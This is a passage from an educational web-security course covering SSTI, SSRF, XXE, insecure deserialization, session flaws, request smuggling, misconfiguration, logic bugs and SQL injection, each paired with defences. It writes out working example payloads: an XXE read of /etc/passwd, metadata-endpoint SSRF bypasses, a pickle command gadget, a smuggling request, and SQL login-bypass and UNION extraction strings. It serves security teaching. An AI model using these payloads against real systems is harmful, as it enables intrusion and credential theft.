- Explain why argument-array execution defeats injection even without any input filtering.
- Interview-style: "An app calls
gzip <filename>with a user filename. Where is the bug and what is the minimal fix?" Hint: a filename likea; rm -rf /is only dangerous because a shell parses it.
Server-Side Template Injection
Theory
Server-Side Template Injection (SSTI) is what happens when user input is embedded into a template that the engine then compiles and executes, rather than being passed as data into a placeholder (the safe/unsafe distinction from 8.1). Because template engines are small programming languages — they can access object attributes, call methods, and iterate — injecting into the template means injecting code into that language. The severity depends on how much the engine exposes, but in many engines it reaches full remote code execution by climbing the object graph to reach OS functions.
The classic discovery technique is to submit a harmless arithmetic expression in the engine's syntax and see if it is evaluated. If {{7*7}} comes back as 49, the input is being compiled, not escaped — you have confirmed SSTI and identified the engine family by which syntaxes work ({{...}} for Jinja2/Twig, ${...} for Freemarker/Thymeleaf, #{...} for others). From there, exploitation walks from a benign object to its class, to loaded modules, to something that can execute commands — a well-trodden path in Jinja2 via Python's object introspection.
Prevention is the same principle as all injection: never build template source from user input. Pass user data as context variables into a static, developer-authored template, and let auto-escaping handle output. If users genuinely must supply templates (rare), use a sandboxed engine designed for untrusted input, with dangerous attributes and functions removed — but understand that sandboxes have been escaped repeatedly, so this is a last resort, not a first choice. The reliable architecture keeps the template fixed and the data flowing only into slots.
Examples
# The bug: user input concatenated into the template SOURCE.
Template("Hello " + request.args["name"]).render() # name="{{7*7}}" -> "Hello 49"
# Jinja2 RCE sketch (why "it only does math" is false) -- conceptually:
# {{ ''.__class__.__mro__[1].__subclasses__() ... }} walks objects to reach os.system
# The point: template syntax is a language; evaluation of attacker input = code exec.
# SAFE: fixed template, user data only as context (and auto-escaped for HTML).
env = Environment(autoescape=True)
env.from_string("Hello {{ name }}").render(name=request.args["name"]) # data, not code
Detection matrix (does the engine evaluate your math?):
{{7*7}} -> 49 : Jinja2 / Twig
${7*7} -> 49 : Freemarker / Thymeleaf / Velocity-ish
#{7*7} -> 49 : Ruby-ish / some JSP EL
7*7 -> 7*7 : not evaluated (likely safe here)
Key Takeaways
- SSTI arises when user input becomes part of the compiled template, turning the engine's mini-language into an injection target.
- Detection: a reflected
{{7*7}}(or${7*7}) returning49proves evaluation and fingerprints the engine. - Severity often reaches RCE because engines expose object introspection that chains to OS calls.
- Fix by never constructing template source from input — pass data as context into static templates; sandboxed engines are a fragile last resort.
🧪 Practice
- Explain precisely why
from_string("Hi " + name)is vulnerable whilefrom_string("Hi {{name}}").render(name=name)is not.- Write the detection payloads you would try to distinguish Jinja2 from Freemarker.
- Describe the general shape of an SSTI-to-RCE chain (object -> class -> module -> exec) without needing a full exploit.
- Interview-style: "A page lets users customize an email template with their own markup. How would you offer this feature safely?" Hint: either restrict to a non-executing markup, or use a true sandbox — and distrust the sandbox.
Server-Side Request Forgery (SSRF)
Theory
Server-Side Request Forgery (SSRF) tricks the server into making an HTTP (or other-protocol) request to a destination the attacker chooses. The feature is innocent — "fetch the image at this URL," "import from this webhook," "render this remote PDF" — but the server is a far more privileged network client than the attacker: it sits inside the perimeter and can reach internal services, cloud metadata endpoints, and localhost admin interfaces that the attacker cannot touch directly. SSRF turns the server into a confused deputy that makes requests on the attacker's behalf.
The highest-impact target is usually the cloud metadata service (historically 169.254.169.254), which can return instance credentials — an SSRF that reaches it often yields keys to the whole cloud account. Beyond that, attackers scan internal IP ranges, hit localhost: admin ports, reach databases and caches with no auth on the internal network, and abuse non-HTTP schemes (file://, gopher://, dict://) to read files or craft arbitrary TCP payloads. Blind SSRF, where you cannot see the response, is still useful for internal port scanning (via timing) and for hitting state-changing internal endpoints.
Defending SSRF is genuinely hard because DNS and redirects fight you. A naive "block 127.0.0.1 and 169.254.169.254" fails against DNS names that resolve to those IPs, decimal/hex IP encodings, IPv6 forms, and redirects from an allowed host to an internal one. Robust defense combines an allowlist of permitted destinations (resolve the hostname, check the resolved IP against the allowlist, and connect to that exact IP), disabling unneeded URL schemes and redirects, and network-layer egress controls so the application subnet simply cannot route to metadata or internal management ranges. In cloud environments, enforcing IMDSv2 (session-token-bound metadata) blunts the worst case.
Examples
import ipaddress, socket, requests
# VULNERABLE: fetches whatever URL the user supplies.
def fetch(url):
return requests.get(url).text # url=http://169.254.169.254/... -> cloud creds
# HARDENED: resolve, check the RESOLVED IP, forbid internal ranges, no redirects.
def fetch(url):
host = urlparse(url).hostname
ip = ipaddress.ip_address(socket.gethostbyname(host)) # resolve to an IP
if ip.is_private or ip.is_loopback or ip.is_link_local: # blocks 10/127/169.254/...
raise PermissionError("internal destination blocked")
return requests.get(url, allow_redirects=False, timeout=5).text
Why naive string blocking fails:
http://localhost/ name -> 127.0.0.1
http://2130706433/ decimal form of 127.0.0.1
http://0x7f000001/ hex form
http://[::1]/ IPv6 loopback
http://ok.com -> 302 -> http://169.254.169.254 redirect to internal
Robust: resolve + check resolved IP + no redirects + egress firewall + IMDSv2.
Key Takeaways
- SSRF makes the server issue requests the attacker chooses, abusing the server's privileged network position (internal services, cloud metadata, localhost).
- The marquee target is the cloud metadata endpoint, which can leak instance credentials and thus the whole account.
- Blocklisting IPs/strings fails against DNS, alternate IP encodings, IPv6, and redirects; validate the resolved IP and disable redirects.
- Layer defenses: destination allowlist, scheme restriction, network egress filtering, and IMDSv2 in cloud.
🧪 Practice
- Explain why an SSRF reaching the cloud metadata endpoint is often "game over" for the account.
- Give three ways an attacker encodes
127.0.0.1to bypass a naive blocklist.- Describe why checking the hostname is insufficient and you must check the resolved IP and forbid redirects.
- Interview-style: "Your 'fetch URL' feature validates the host against an allowlist before fetching. What attack still works?" Hint: DNS can change between your check and the fetch, and an allowed host can redirect — think TOCTOU and 302.
XML External Entity (XXE) Attacks
Theory
XML is more than a data format — it includes a document-type definition (DTD) system that can declare entities, which are like macros the parser expands. External entities can point at a URI, and a permissive parser will fetch and inline that content. XXE abuses this: an attacker submits XML that defines an external entity pointing at a local file or an internal URL, and when the server parses it, the parser reads that file (or makes that request) and splices the result into the document — often echoed back in the response.
The impact ladder is steep. The base case reads local files (file:///etc/passwd). Because external entities can use other schemes, XXE frequently becomes an SSRF primitive, reaching internal services and cloud metadata. Blind XXE (no output reflected) exfiltrates data via out-of-band channels — an entity that packages the stolen file into a request to the attacker's server — and parameter entities make this reliable. Some parsers and payloads enable denial of service (the "billion laughs" entity-expansion bomb) or, in specific stacks, code execution. The root cause is always the same: the parser was allowed to resolve external entities and DTDs from untrusted input.
The fix is refreshingly clean: disable DTD processing and external entities entirely in the XML parser. Nearly every XML library has a setting to forbid DOCTYPE/external entities, and for most applications there is no legitimate need to process them. Because XML hides in many places — SOAP, SAML assertions, SVG, office documents, configuration imports, some "JSON" APIs that also accept XML — the practical discipline is to harden the parser configuration everywhere XML is parsed, ideally via a shared, secure factory, rather than per call site.
Examples
<!-- Classic XXE: define an external entity, then reference it in the body. -->
<?xml version="1.0"?>
<!DOCTYPE root [ <!ENTITY secret SYSTEM "file:///etc/passwd"> ]>
<root>&secret;</root> <!-- parser inlines /etc/passwd, often reflected back -->
<!-- SSRF via XXE: same mechanism, different scheme/target. -->
<!DOCTYPE root [ <!ENTITY x SYSTEM "http://169.254.169.254/latest/meta-data/"> ]>
# Java/Python both default to UNSAFE historically. Disable DTDs/entities explicitly.
# Python (defusedxml is the simplest correct choice):
from defusedxml.ElementTree import parse # forbids entities/DTDs by default
tree = parse(untrusted_xml_stream)
# lxml, if you must use it directly:
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False)
etree.parse(untrusted_xml_stream, parser) # no external resolution
Key Takeaways
- XXE abuses XML external entities/DTDs so the parser reads local files or makes internal requests from attacker-supplied XML.
- It commonly escalates to SSRF (cloud metadata), blind out-of-band data exfiltration, and sometimes DoS (entity expansion bombs).
- XML hides in SOAP, SAML, SVG, office files, and config imports, so every parse site is in scope.
- Fix by disabling DTD processing and external-entity resolution in the parser, ideally via a shared secure configuration/factory.
🧪 Practice
- Write the minimal XML payload that reads
/etc/passwdand explain which parser setting stops it.- Explain how blind XXE exfiltrates data when nothing is reflected in the response.
- List three non-obvious places XML parsing occurs in a typical enterprise app.
- Interview-style: "An endpoint accepts only JSON, yet you suspect XXE. How could that be?" Hint: some frameworks content-negotiate and will happily parse an XML body if you change the
Content-Type.
Insecure Deserialization
Theory
Serialization turns an in-memory object into a byte stream (to store or send); deserialization rebuilds the object. The security problem is that some serialization formats are not just data — they encode type information and behavior, and the deserializer may instantiate arbitrary classes and invoke their methods as part of rebuilding the object. When an attacker controls the serialized bytes, they control which objects get constructed and which lifecycle methods run, and clever chains of ordinary library classes ("gadget chains") turn that into remote code execution.
The danger is concentrated in native/binary object serialization that preserves types and callbacks: Java's ObjectInputStream, Python's pickle, PHP's unserialize, .NET's BinaryFormatter, Ruby's Marshal. For these, the rule is blunt: never deserialize untrusted input with them. The reason "just validate it first" does not work is that the dangerous side effects fire during reconstruction, before your validation code ever sees a finished object. Pure data formats like JSON are far safer — but only if you deserialize into known, plain data types and do not use features that resurrect arbitrary types (e.g., polymorphic type handling, yaml.load with full type construction, or JSON libraries configured to embed class names).
The defenses, in order of preference: avoid deserializing untrusted data in dangerous formats at all; if you must accept serialized objects, use a data-only format (JSON) with a strict schema and no type-embedding; where a native format is unavoidable, apply integrity protection (sign the payload so only your service could have produced it) and type allowlisting (resolve classes only from a vetted set). Treat any endpoint that accepts serialized blobs as high-risk and give it the most scrutiny.
Examples
import pickle, json
# DANGEROUS: pickle reconstructs arbitrary objects and runs their __reduce__.
obj = pickle.loads(untrusted_bytes) # attacker payload can exec commands here
# A pickle payload that runs a command (illustrative of why loads() is unsafe):
# class E: __reduce__ = lambda self: (os.system, ("id",))
# pickle.dumps(E()) -> bytes that, when loaded, run `id`
# SAFE: a data-only format parsed into plain types; no code runs.
data = json.loads(untrusted_bytes) # yields dicts/lists/strings/numbers only
validate_schema(data) # now you can validate real data
Format risk ladder:
pickle / Java ObjectInputStream / PHP unserialize / BinaryFormatter -> RCE-prone
YAML yaml.load (full) -> RCE-prone
JSON into known plain types -> safe(ish)
Mitigations if native is forced: SIGN the blob + ALLOWLIST classes on read.
Key Takeaways
- Insecure deserialization lets attacker-controlled bytes instantiate classes and trigger methods during reconstruction, enabling RCE via gadget chains.
- The risk lives in native object formats (Java, pickle, PHP, .NET
BinaryFormatter, full YAML), not in plain-data JSON used correctly. - "Validate after deserializing" fails because the exploit fires during deserialization, before validation runs.
- Prefer data-only formats with strict schemas; if native formats are unavoidable, sign payloads for integrity and allowlist permitted types.
🧪 Practice
- Explain why
pickle.loadson untrusted input is unsafe even if you validate the result immediately afterward.- Classify JSON, YAML (full load), Java
ObjectInputStream, and Pythonpickleby deserialization risk.- Describe how signing a serialized payload mitigates the attack and what it does not protect against.
- Interview-style: "A service accepts a base64 Java serialized object in a cookie. What is your first concern?" Hint:
ObjectInputStreamplus attacker-controlled bytes plus a classpath full of gadget libraries.
Authentication and Session Flaws
Theory
Authentication proves who you are; session management remembers it afterwards. Both are high-value targets because breaking either grants an attacker someone else's identity. Authentication flaws cluster around weak credential handling (no rate limiting enabling credential stuffing and brute force, weak or missing password policies, plaintext or fast-hashed password storage), and around flawed flows (a password-reset token that is predictable, a "remember me" cookie that never expires, a multi-factor step that can be skipped by going straight to the post-MFA endpoint).
Session flaws are about the token's lifecycle. Session fixation occurs when the app accepts a session ID supplied before login and keeps using it after — so an attacker who planted that ID is now logged in as the victim; the fix is to regenerate the session ID at every privilege change, especially login. Predictable or short session IDs allow guessing. Missing expiry/rotation widens the theft window. Insecure transmission or storage (no Secure/HttpOnly, token in URL where it leaks via Referer and logs) exposes the token. Each is a small mistake with full-account impact, which is why this area rewards checklists.
The defensive posture is well established: hash passwords with a slow, salted algorithm (bcrypt/scrypt/Argon2), rate-limit and monitor authentication, support and enforce MFA while protecting the full flow (not just the first step), issue long CSPRNG session IDs, set cookie attributes correctly, regenerate the ID on login, expire idle and absolute sessions, and provide real server-side logout that invalidates the session rather than merely deleting the client cookie. Prefer vetted framework/identity-provider implementations over hand-rolled auth — this is a domain where subtle errors are common and expensive.
Examples
# Password storage: slow, salted hash. NEVER store plaintext or fast hashes (md5/sha1).
from argon2 import PasswordHasher
ph = PasswordHasher() # Argon2id with sane defaults
stored = ph.hash(password) # unique salt embedded; slow by design
ph.verify(stored, submitted) # constant-time verify; raises on mismatch
# Session fixation fix: regenerate the session id at login (Flask-Login example).
login_user(user)
session.regenerate() # NEW id post-auth; any pre-login id is void
Session lifecycle controls:
issue: long CSPRNG id, Secure + HttpOnly + SameSite cookie
login: REGENERATE id (defeats fixation)
idle: expire after N minutes inactivity
absolute: expire after fixed max lifetime regardless of activity
logout: invalidate server-side (not just clear the cookie)
Key Takeaways
- Authentication flaws include missing rate limits (credential stuffing/brute force), weak password hashing, and bypassable MFA/reset flows.
- Session fixation is fixed by regenerating the session ID at login and every privilege change.
- Session IDs must be long CSPRNG values, transmitted and stored securely, with idle and absolute expiry plus real server-side logout.
- Prefer vetted framework/IdP implementations over hand-rolled authentication; the subtle errors here have full-account impact.
🧪 Practice
- Explain session fixation step by step and the single control that defeats it.
- Contrast storing passwords with SHA-256 versus Argon2/bcrypt and why speed is a liability here.
- Describe how an MFA implementation can be bypassed even though the second factor "works."
- Interview-style: "Users report being logged in as each other behind a load balancer. Name two plausible causes." Hint: a shared/guessable session store or a cache serving an authenticated page keyed only by URL.
HTTP Request Smuggling
Theory
Request smuggling exploits disagreement between two servers in a chain — typically a front-end proxy/load balancer and a back-end server — about where one HTTP request ends and the next begins. HTTP/1.1 offers two ways to delimit a body: the Content-Length header (a byte count) and Transfer-Encoding: chunked (self-terminating chunks). When a request includes conflicting or ambiguous length information, the front-end and back-end may parse it differently. The attacker crafts a request so the front-end sees one request while the back-end sees one-and-a-bit, leaving a prefix of attacker bytes glued to the front of the next victim's request.
The consequences are severe because the smuggled prefix is processed in the victim's connection/context. Attackers use it to bypass front-end security controls (the WAF/authz saw a benign request; the back-end executed the hidden one), to poison the shared response queue so the victim receives the attacker's response (or vice versa), to capture other users' requests (and their cookies/credentials), and to turn reflected issues into stored, cross-user ones. The classic variants are named for the disagreement: CL.TE (front-end uses Content-Length, back-end uses Transfer-Encoding), TE.CL, and TE.TE (both support TE but one can be tricked into ignoring it via an obfuscated header).
Prevention is architectural. Use HTTP/2 end to end where possible, since its framing is unambiguous (though downgrade/translation at the edge reintroduces risk). Otherwise, make the whole chain parse identically: reject ambiguous requests (both Content-Length and Transfer-Encoding present, or malformed chunking) rather than trying to normalize them, prefer a single front-end that normalizes and a back-end that is strict, and avoid reusing back-end connections across clients where the risk is high. This is a case where the only safe answer is "do not accept the ambiguity."
Examples
CL.TE smuggle (front-end honors Content-Length, back-end honors chunked):
POST / HTTP/1.1
Host: victim.example
Content-Length: 6
Transfer-Encoding: chunked
0
GPOST /admin HTTP/1.1 <-- front-end thinks body ended at "0\r\n\r\n" (CL=6);
Host: victim.example back-end keeps reading, so "GPOST /admin ..." becomes
... the PREFIX of the next request on that connection.
Who delimits the body? Disagreement class
Content-Length (bytes) vs Transfer-Encoding (chunked)
front=CL, back=TE -> CL.TE
front=TE, back=CL -> TE.CL
both TE, one fooled -> TE.TE (obfuscated Transfer-Encoding header)
Fix: unambiguous framing (HTTP/2 end-to-end) OR reject requests with both headers.
Key Takeaways
- Smuggling exploits front-end/back-end disagreement over request boundaries using conflicting
Content-LengthandTransfer-Encoding. - A smuggled prefix attaches to the next user's request, enabling control bypass, response-queue poisoning, and request/credential capture.
- Variants are CL.TE, TE.CL, and TE.TE, named for which header each tier honors or is tricked into ignoring.
- Defenses are architectural: unambiguous framing (HTTP/2 end to end) and rejecting — not normalizing — ambiguous length headers.
🧪 Practice
- Explain in your own words how two length headers on one request can make two servers disagree about its boundary.
- Describe the difference between CL.TE and TE.CL and what each requires of the front/back ends.
- Explain why "capturing another user's request" is a realistic smuggling impact, not just theory.
- Interview-style: "Why is rejecting requests that contain both
Content-LengthandTransfer-Encodingsafer than normalizing them?" Hint: normalization still leaves two independent parsers that might disagree on the next weird input.
Security Misconfiguration and Information Leakage
Theory
Not every breach needs a clever exploit; many exploit a setting someone left wrong. Security misconfiguration covers the whole family of "unsafe defaults and forgotten switches": debug mode enabled in production, default or sample credentials unchanged, directory listing on, verbose error pages, unnecessary services and admin consoles exposed, overly permissive CORS, missing security headers, and cloud storage buckets left public. These are common because secure configuration is cross-cutting, environment-specific, and easy to regress — one DEBUG=True can turn a locked-down app into an open book.
Information leakage is the frequent companion: the application reveals data that helps an attacker, usually through over-helpful errors and metadata. A stack trace discloses framework versions, file paths, and sometimes SQL queries; a verbose error distinguishes "user not found" from "wrong password" and enables username enumeration; headers like Server and X-Powered-By fingerprint the stack for targeted exploits; backup files (.bak, .git/, config.php~) and source maps expose code and secrets. Individually minor, these leaks compound — each one shortens the attacker's path to a working exploit.
The defense is hardened, environment-specific configuration treated as code and verified continuously. Ship a minimal install (remove sample apps, default accounts, unused features), disable debug and directory listing in production, return generic error pages to users while logging the detail server-side, strip identifying headers, enforce a tight CORS policy, and lock down storage. Because configuration drifts, bake checks into CI/CD and run periodic configuration scanning (CIS benchmarks, cloud posture tools) so a regression is caught by a pipeline rather than by an attacker.
Examples
# The single most common production footgun:
app.run(debug=True) # Flask: exposes an interactive debugger -> RCE via the console
# In production: debug MUST be false, driven by environment, never hardcoded on.
# Generic errors to users, full detail to logs (don't leak internals).
@app.errorhandler(500)
def err(e):
log.exception("unhandled") # detail stays server-side
return "An unexpected error occurred", 500 # user sees nothing useful to attack with
# Quick misconfig/leak checks (your own systems):
curl -sI https://x.example | grep -iE 'server|x-powered-by' # fingerprinting headers
for f in /.git/config /.env /backup.zip /server-status; do # exposed artifacts
curl -s -o /dev/null -w "$f %{http_code}\n" "https://x.example$f"; done
Key Takeaways
- Misconfiguration (debug on, default creds, directory listing, open admin, permissive CORS, public buckets) is a leading breach cause and needs no exploit.
- Information leakage via stack traces, verbose errors, fingerprinting headers, and exposed backups/
.gitshortens the attacker's path. - Return generic errors to users while logging full detail server-side; strip identifying headers; ship a minimal, hardened install.
- Treat configuration as code and verify it continuously (CI checks, CIS benchmarks, posture scanning) because it drifts.
🧪 Practice
- List five production misconfigurations and the one-line fix for each.
- Explain how differing login error messages enable username enumeration and how to prevent it.
- Describe why an exposed
.git/directory is dangerous even on a "static" site.- Interview-style: "An app is fully patched but still gets breached via a config issue. Give three realistic candidates." Hint: think defaults left on, secrets left public, and errors left verbose.
Business Logic Vulnerabilities
Theory
Every vulnerability so far violates a technical rule — don't mix data with code, verify ownership. Business logic vulnerabilities break the application's intended workflow while using it exactly as technically designed. The requests are well-formed, authenticated, and injection-free; the flaw is that the sequence or combination of legitimate actions produces an outcome the business never meant to allow. Because nothing is malformed, scanners rarely find these — they require understanding what the application is for.
Typical examples: applying a discount code multiple times, or stacking codes the business meant to be exclusive; manipulating quantity or price fields a careless API trusts from the client (buying an item for a negative total that credits your account); skipping a payment step by navigating straight to the order-confirmation endpoint; exploiting a race condition to redeem a single-use coupon or withdraw a balance twice by firing concurrent requests before the check-then-act completes; or abusing a generous refund/return policy programmatically at scale. Each is "allowed" by the code but forbidden by the intent.
Defending logic flaws is a design discipline, not a filter. Enforce invariants server-side and atomically: the price comes from the server, not the request; a coupon's single-use is guaranteed by a transactional, idempotent update, not a read-then-write; workflow steps verify that prior required steps actually completed, rather than trusting the client to arrive in order. Threat-model the abuse cases ("how would someone cheat this?") alongside the feature, and add limits, approvals, and monitoring for anomalous but technically-valid behavior. The guiding question is not "is this request valid?" but "is this outcome something we intended to permit?"
Examples
# LOGIC BUG: trusts client-supplied price and allows negative quantity.
def checkout(item_id, qty, price): # price/qty from the request
total = qty * price # qty=-1 or price=0 -> abuse
charge(current_user, total)
# FIXED: server owns price; validate ranges; enforce invariants.
def checkout(item_id, qty):
if qty < 1: abort(400)
price = db.items.get(item_id).price # authoritative, server-side
charge(current_user, qty * price)
# RACE on a single-use coupon: check-then-act lets two concurrent requests both pass.
# FIX with an atomic, idempotent claim (DB does the mutual exclusion):
rows = db.execute(
"UPDATE coupons SET used=1 WHERE code=? AND used=0", [code]) # atomic test-and-set
if rows.rowcount == 0: # someone already claimed it
abort(409, "coupon already used")
Key Takeaways
- Business logic flaws abuse the intended workflow using technically valid requests, so scanners and injection filters miss them.
- Common forms: trusting client-supplied price/quantity, skipping workflow steps, stacking/replaying discounts, and race conditions on single-use resources.
- Fix by enforcing invariants server-side and atomically (server owns price; single-use via transactional test-and-set; steps verify prerequisites).
- Threat-model abuse cases ("how would someone cheat this?") during design and monitor for anomalous-but-valid behavior.
🧪 Practice
- Identify the logic flaws in an endpoint that accepts
item_id,quantity, andpricefrom the client, and fix them.- Explain how a race condition defeats a single-use coupon and write an atomic fix.
- Describe why automated scanners struggle with business logic vulnerabilities.
- Interview-style: "A user got a $0 order by applying three stackable coupons meant to be exclusive. Was any technical control violated?" Hint: every request was valid — the rule that broke was a business rule the code never enforced.
<a id="83-sql-injection-and-defences"></a>
8.3 SQL Injection and Defences
SQL injection has been a top web risk for over two decades because the underlying mistake — building a query by gluing strings together — is so natural to write. This section works through how it is exploited and, just as importantly, how it is reliably prevented.
SQL Fundamentals for Attackers
Theory
To attack SQL you only need the subset a query actually uses. A relational database stores tables of rows and columns; you retrieve data with SELECT col FROM table WHERE condition, and modify it with INSERT, UPDATE, and DELETE. The WHERE clause is where most injection lives, because that is where applications splice user input ("find the user whose name is this"). Understanding that the WHERE condition is a boolean expression — and that you can rewrite it — is the core of exploitation.
A few constructs recur in every attack. String literals are delimited by single quotes, so an unescaped quote in your input can break out of the literal and into the query's syntax — the original sin of SQL injection. Comments (--, #, /* */) let an attacker truncate the rest of the developer's query. UNION merges the results of a second SELECT into the first, which is how attackers pull data from other tables. Boolean and conditional logic (OR 1=1, CASE WHEN ...) lets an attacker make the query's truth value depend on secret data, which powers blind extraction (8.4). Different engines (MySQL, PostgreSQL, MSSQL, Oracle, SQLite) vary in syntax details, so part of attacking is fingerprinting which dialect you face.
The attacker's mindset is to see the query the developer probably wrote and imagine where your input lands inside it. If a search box produces SELECT * FROM products WHERE name = '<you>', then typing ' should cause a syntax error (a tell that your input reaches the SQL unescaped), and ' OR '1'='1 should turn the condition always-true. From that foothold the rest of this section — union extraction, error-based, blind — is just increasingly clever ways to make the query reveal data it should not.
Examples
-- The developer's intended query, with a parameter slot for user input:
SELECT id, name, price FROM products WHERE name = '<USER INPUT>';
-- Breaking out of the string literal and neutralizing the rest with a comment:
-- input: ' OR 1=1 --
SELECT id, name, price FROM products WHERE name = '' OR 1=1 -- ';
-- ^always true ^rest commented out
Query anatomy an attacker reasons about:
SELECT cols FROM table WHERE col = 'INPUT' ORDER BY x LIMIT n
^^^^^^^^^^^^^ injection usually lands here
Tools of the trade: ' (break out) --/# (comment) UNION (merge) OR/CASE (logic)
Key Takeaways
- Injection usually lands in the
WHEREclause, where applications splice user input into a boolean condition. - The single quote breaks out of a string literal into query syntax — the foundational SQLi primitive.
- Comments truncate the remaining query;
UNIONmerges in data from other tables; boolean/CASElogic enables blind extraction. - SQL dialects differ, so fingerprinting the engine is part of exploitation and of understanding defenses.
🧪 Practice
- Given
SELECT * FROM users WHERE user='X', show the input that makes the condition always true and comments out the rest.- Explain why submitting a lone
'causing an error is evidence of an injection point.- Name the comment syntaxes for MySQL, PostgreSQL, and MSSQL.
- Interview-style: "Why is the
WHEREclause the most common injection location rather than the column list?" Hint: think about which part of a query most often incorporates user-supplied values.
Injection Points and Context Discovery
Theory
Finding injection is about locating where input reaches the database and understanding the syntactic context it lands in — because the right payload depends entirely on context. Input can arrive through obvious channels (URL query parameters, form fields, JSON body values) and non-obvious ones (HTTP headers like User-Agent or X-Forwarded-For that get logged to a DB, cookies, file metadata, and values from a previous request stored and later used — second-order injection). The first discovery skill is cataloguing every value that might flow into a query.
Context means where inside the SQL your input sits: inside a single-quoted string (WHERE name='HERE'), inside a numeric comparison with no quotes (WHERE id=HERE), inside an ORDER BY clause (where parameterization often does not even apply), or inside a LIKE pattern. Each needs a different break-out. A string context needs a quote to escape; a numeric context needs no quote at all (just 1 OR 1=1); an ORDER BY context cannot be parameterized the usual way and is a classic blind spot. Misreading the context is why a payload "doesn't work" even though the parameter is injectable.
Discovery proceeds by probing and observing. Submit a syntax-breaking character and watch for errors or behavior changes; submit a payload that should be semantically neutral if interpreted as SQL ('||' concatenation, ' ' vs '+') and see if results change; compare a true condition (1=1) against a false one (1=2) and look for different responses. These differential tests both confirm injection and reveal the context, after which you choose the extraction technique (in-band, union, error-based, or blind) that the context and the server's verbosity allow.
Examples
Contexts and the break-out each needs:
WHERE name = 'INPUT' string -> need a quote: ' OR '1'='1
WHERE id = INPUT numeric -> no quote: 1 OR 1=1
ORDER BY INPUT identifier -> can't bind; 1 vs (SELECT ...) tricks
WHERE name LIKE '%INPUT%' pattern -> mind % and _ foo%' OR '1'='1
# Differential probing: does a true vs false condition change the response?
curl -s "https://x.example/item?id=1'" # expect error if string context + injectable
curl -s "https://x.example/item?id=1 AND 1=1" # numeric context, true -> normal page
curl -s "https://x.example/item?id=1 AND 1=2" # numeric context, false -> empty/different
# A difference between the last two strongly indicates injection.
Key Takeaways
- Input reaches the DB through many channels — params, JSON, headers, cookies, and stored values (second-order) — all of which are candidate injection points.
- The payload depends on syntactic context: string (needs a quote), numeric (no quote),
ORDER BY/identifier (often unparameterizable), andLIKEpatterns. - Confirm and characterize injection with differential tests comparing true (
1=1) and false (1=2) conditions. - Misreading the context, not the absence of a bug, is why payloads often fail.
🧪 Practice
- For each context (string, numeric,
ORDER BY), write a probe that would reveal injection.- Explain why
ORDER BYis a common injection blind spot even in codebases that use parameters elsewhere.- Describe a second-order injection scenario where the payload is stored first and triggers later.
- Interview-style: "Your
' OR '1'='1payload does nothing, but1 OR 1=1changes the results. What does that tell you?" Hint: the parameter is in a numeric context, so there is no string literal to break out of.
In-Band Injection: Tautologies and Comments
Theory
In-band injection means the attack and its results travel over the same channel — you inject in the request and see the effect in the response. The simplest in-band technique is the tautology: inject a condition that is always true (OR 1=1) so a WHERE clause that was meant to match one row matches all of them, or so a login check that was meant to fail succeeds. The canonical authentication bypass, ' OR '1'='1' --, makes the password check irrelevant and comments out whatever followed.
Comments are the tautology's partner. After you inject your condition, the developer's original query usually has more syntax (a closing quote, additional AND clauses, an ORDER BY). Appending a comment (--, #, or /*) tells the database to ignore everything after your payload, so you do not have to produce syntactically valid continuation. The combination — break out of the literal, inject an always-true condition, comment out the tail — is the bread-and-butter of manual SQLi and the thing every defender should instantly recognize.
Why start here? Because tautology-plus-comment is both the clearest illustration of why string concatenation is fatal and the fastest confirmation that a parameter is exploitable. It is also instructive for defense: a parameterized query makes ' OR '1'='1' -- a literal search for a product literally named ' OR '1'='1' --, which simply returns nothing. The attack's power comes entirely from the input being parsed as SQL rather than treated as a value.
Examples
-- Authentication bypass. Developer wrote:
-- SELECT * FROM users WHERE user='<u>' AND pass='<p>'
-- Attacker sets u = admin' -- (password field now irrelevant):
SELECT * FROM users WHERE user='admin' --' AND pass='whatever';
-- ^comment: the AND pass=... is discarded
-- Dump-all tautology in a search. Developer wrote WHERE name='<q>'; attacker sends:
-- q = ' OR 1=1 --
SELECT * FROM products WHERE name='' OR 1=1 -- '; -- matches every row
# Why it works: the query is a concatenated STRING (the vulnerable pattern).
q = "SELECT * FROM users WHERE user='" + u + "' AND pass='" + p + "'" # NEVER do this
db.execute(q) # u="admin' --" turns the rest into a comment
Key Takeaways
- In-band means you observe results in the same response; tautologies (
OR 1=1) force a condition always true. - The classic auth bypass
' OR '1'='1' --makes the credential check pass and comments out the remainder. - Comments (
--,#,/*) discard the tail of the developer's query so your injection need not be syntactically complete. - The technique only works because concatenated input is parsed as SQL; parameterization reduces the same payload to a harmless literal search.
🧪 Practice
- Write the input that bypasses
WHERE user='<u>' AND pass='<p>'as the useradminwithout knowing the password.- Explain the role of the trailing
--in that payload and what breaks if you omit it.- Show what the same payload does against a correctly parameterized query.
- Interview-style: "Why does
' OR '1'='1' --bypass login, and why does the exact same string fail against a prepared statement?" Hint: one parses it as logic, the other treats it as a single string value.
UNION-Based Data Extraction
Theory
Tautologies prove injection; UNION-based extraction steals data. The SQL UNION operator appends the rows of a second SELECT to the first, so if you can inject UNION SELECT ..., you can pull columns from other tables into the results the application already displays. This turns a product-search page into a tool for dumping the users table. It is the most powerful in-band technique whenever the application renders query results back to you.
UNION has two strict requirements that drive the exploitation steps. First, both SELECTs must have the same number of columns, so the attacker first determines the column count — either by ORDER BY n (incrementing until it errors) or by UNION SELECT NULL, NULL, ... (adding NULLs until it succeeds). Second, the column types must be compatible in the positions you want to read, so the attacker finds which columns can hold a string (where the interesting data goes). Once the shape is known, you replace the placeholders with real expressions: UNION SELECT username, password FROM users.
A practical refinement is concatenating multiple values into one visible column when only one column renders on the page — UNION SELECT NULL, concat(user,':',pass), NULL FROM users packs two fields into the single slot you can see. The whole technique depends on the application reflecting query output; when it does not (login-only responses, yes/no pages), UNION is unavailable and you move to error-based or blind methods. Defensively, parameterization prevents UNION from ever being parsed as an operator, and least-privilege accounts limit which tables a successful injection can even name.
Examples
-- Step 1: find the column count (increment until error).
' ORDER BY 1 -- ' ORDER BY 2 -- ' ORDER BY 3 -- (errors at the real count+1)
-- Step 2: find a string-compatible column (watch which NULL you can replace with text).
' UNION SELECT NULL, 'x', NULL -- -- if the page shows 'x', column 2 is readable
-- Step 3: extract. Pack two fields into the one visible column.
' UNION SELECT NULL, concat(username,':',password), NULL FROM users --
UNION requirements -> exploitation steps:
same column COUNT -> ORDER BY n (or add NULLs) until it stops erroring
compatible TYPES -> find which column position renders a string
then -> UNION SELECT <your columns> FROM <target table>
Needs: query results are reflected in the response (in-band).
Key Takeaways
